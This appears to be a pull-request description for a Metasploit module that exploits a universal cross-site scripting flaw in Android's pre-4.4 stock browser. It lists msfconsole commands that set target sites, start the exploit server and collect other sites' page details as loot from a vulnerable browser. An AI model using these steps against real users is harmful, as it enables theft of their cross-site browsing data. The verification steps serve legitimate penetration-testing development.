Add another Android < 4.4 UXSS exploit

#### Verification

- [ ] Run the exploit against http://example.com and https://pages.github.com:

        $ ./msfconsole
        msf> use auxiliary/gather/android_object_tag_webview_uxss
        msf> set TARGET_URLS http://example.com,https://pages.github.com
            TARGET_URLS => http://example.com,https://pages.github.com
        msf> set URIPATH /j
          URIPATH => /j
        msf> run -j
          [*] Auxiliary module running as background job
          [*] Using URL: http://0.0.0.0:8080/j
          [*]  Local IP: http://192.168.0.4:8080/j
          [*] Server started.

- [ ] In android < 4.4 stock browser browse to the URL output by the module
- [ ] You should have two items saved as loot, containing the details of http://example.com and https://pages.github.com
rescue JSON::ParserError here, maybe?